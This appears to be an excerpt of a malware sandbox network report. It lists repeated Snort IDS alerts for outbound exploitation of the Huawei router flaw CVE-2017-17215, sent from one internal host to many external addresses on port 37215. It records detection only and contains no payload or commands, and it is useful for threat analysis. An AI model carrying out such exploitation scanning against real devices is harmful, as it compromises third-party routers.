Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:39572 -> 197.64.178.193:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:51480 -> 124.38.65.99:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:51480 -> 124.38.65.99:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:49448 -> 157.34.28.229:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:49448 -> 157.34.28.229:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:35076 -> 41.201.10.23:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:35076 -> 41.201.10.23:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:40932 -> 157.249.112.126:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:40932 -> 157.249.112.126:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:36346 -> 157.62.193.172:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:36346 -> 157.62.193.172:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:53188 -> 157.34.92.241:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:53188 -> 157.34.92.241:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:42210 -> 197.130.190.85:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:42210 -> 197.130.190.85:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:55082 -> 157.134.72.2:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:55082 -> 157.134.72.2:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:38898 -> 104.8.73.49:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:38898 -> 104.8.73.49:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:37720 -> 41.17.9.128:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:37720 -> 41.17.9.128:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:35902 -> 41.128.69.214:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:35902 -> 41.128.69.214:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:56530 -> 157.178.20.242:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:56530 -> 157.178.20.242:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:34008 -> 197.39.121.171:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:34008 -> 197.39.121.171:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:38858 -> 41.209.60.208:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:38858 -> 41.209.60.208:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:44962 -> 197.6.247.149:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:44962 -> 197.6.247.149:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:44316 -> 197.21.88.67:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:44316 -> 197.21.88.67:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:40876 -> 157.40.102.40:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:40876 -> 157.40.102.40:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:42776 -> 197.245.35.233:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:42776 -> 197.245.35.233:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:44478 -> 41.185.235.4:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:44478 -> 41.185.235.4:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:50918 -> 157.245.110.242:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:50918 -> 157.245.110.242:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:41716 -> 197.168.76.154:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:41716 -> 197.168.76.154:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:40410 -> 157.108.71.72:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:40410 -> 157.108.71.72:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:44818 -> 197.145.183.59:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:44818 -> 197.145.183.59:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:58098 -> 197.124.222.24:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:58098 -> 197.124.222.24:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:32872 -> 106.174.68.245:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:32872 -> 106.174.68.245:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:60718 -> 197.190.172.118:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:60718 -> 197.190.172.118:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:51402 -> 157.213.124.92:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:51402 -> 157.213.124.92:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:49466 -> 157.231.126.250:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:49466 -> 157.231.126.250:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:56970 -> 192.48.206.157:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:56970 -> 192.48.206.157:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:59660 -> 114.116.15.132:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:59660 -> 114.116.15.132:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:58506 -> 157.15.177.153:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:58506 -> 157.15.177.153:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:58342 -> 67.164.145.87:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:58342 -> 67.164.145.87:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:37268 -> 41.152.229.173:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:37268 -> 41.152.229.173:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:40354 -> 157.1.12.172:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:40354 -> 157.1.12.172:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:33556 -> 157.220.78.185:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:33556 -> 157.220.78.185:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:52342 -> 157.110.69.240:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:52342 -> 157.110.69.240:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:49736 -> 65.79.209.34:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:49736 -> 65.79.209.34:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:32838 -> 41.150.219.200:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:32838 -> 41.150.219.200:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:50030 -> 157.207.241.220:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:50030 -> 157.207.241.220:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:47944 -> 41.143.52.237:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:47944 -> 41.143.52.237:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:32816 -> 41.4.10.141:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:32816 -> 41.4.10.141:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:37640 -> 157.171.167.12:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:37640 -> 157.171.167.12:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:45338 -> 41.44.46.164:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:45338 -> 41.44.46.164:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:56172 -> 41.255.114.202:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:56172 -> 41.255.114.202:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:50462 -> 157.161.52.19:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:50462 -> 157.161.52.19:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:37320 -> 197.204.98.25:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:37320 -> 197.204.98.25:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:38068 -> 37.50.200.38:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:38068 -> 37.50.200.38:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:54950 -> 157.230.111.60:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:54950 -> 157.230.111.60:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:33654 -> 110.202.3.118:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:33654 -> 110.202.3.118:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:53836 -> 157.231.4.197:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:53836 -> 157.231.4.197:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:54336 -> 197.70.102.93:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:54336 -> 197.70.102.93:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:50040 -> 41.186.86.221:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:50040 -> 41.186.86.221:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:58760 -> 52.138.177.196:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:58760 -> 52.138.177.196:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:41822 -> 157.181.146.64:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:41822 -> 157.181.146.64:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:43748 -> 183.18.158.37:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:43748 -> 183.18.158.37:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:53236 -> 2.69.54.160:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:53236 -> 2.69.54.160:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:60186 -> 41.237.188.97:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:60186 -> 41.237.188.97:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:58158 -> 157.138.203.32:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:58158 -> 157.138.203.32:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:34700 -> 197.209.60.212:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:34700 -> 197.209.60.212:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:39592 -> 157.156.49.184:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:39592 -> 157.156.49.184:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:60170 -> 197.17.13.19:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:60170 -> 197.17.13.19:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:48244 -> 157.45.88.204:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:48244 -> 157.45.88.204:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:39112 -> 145.185.248.183:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:39112 -> 145.185.248.183:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:39374 -> 41.194.84.193:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:39374 -> 41.194.84.193:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:57934 -> 41.114.67.30:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:57934 -> 41.114.67.30:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:54514 -> 41.150.243.200:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:54514 -> 41.150.243.200:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:44740 -> 197.238.40.168:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:44740 -> 197.238.40.168:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:42662 -> 157.222.199.50:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:42662 -> 157.222.199.50:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:58998 -> 41.79.63.222:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:58998 -> 41.79.63.222:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:49998 -> 197.54.41.117:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:49998 -> 197.54.41.117:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:42974 -> 157.11.177.150:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:42974 -> 157.11.177.150:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:56090 -> 220.90.88.236:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:56090 -> 220.90.88.236:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:38854 -> 203.129.114.89:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:38854 -> 203.129.114.89:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:40934 -> 197.16.131.86:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:40934 -> 197.16.131.86:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:33242 -> 41.62.99.32:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:33242 -> 41.62.99.32:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:43002 -> 157.180.195.105:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:43002 -> 157.180.195.105:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:55466 -> 41.70.65.103:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:55466 -> 41.70.65.103:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:59386 -> 41.222.221.26:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:59386 -> 41.222.221.26:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:56484 -> 197.112.125.91:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:56484 -> 197.112.125.91:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:57130 -> 41.187.2.103:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:57130 -> 41.187.2.103:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:46612 -> 20.222.215.240:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:46612 -> 20.222.215.240:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:54018 -> 46.185.21.147:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:54018 -> 46.185.21.147:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:49894 -> 114.104.89.214:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:49894 -> 114.104.89.214:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:58296 -> 197.9.119.173:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:58296 -> 197.9.119.173:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:41912 -> 196.108.28.41:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:41912 -> 196.108.28.41:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:52932 -> 197.185.241.200:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:52932 -> 197.185.241.200:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:44874 -> 116.156.175.81:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:44874 -> 116.156.175.81:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:34624 -> 41.88.134.99:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:34624 -> 41.88.134.99:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:35422 -> 157.106.231.112:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:35422 -> 157.106.231.112:37215
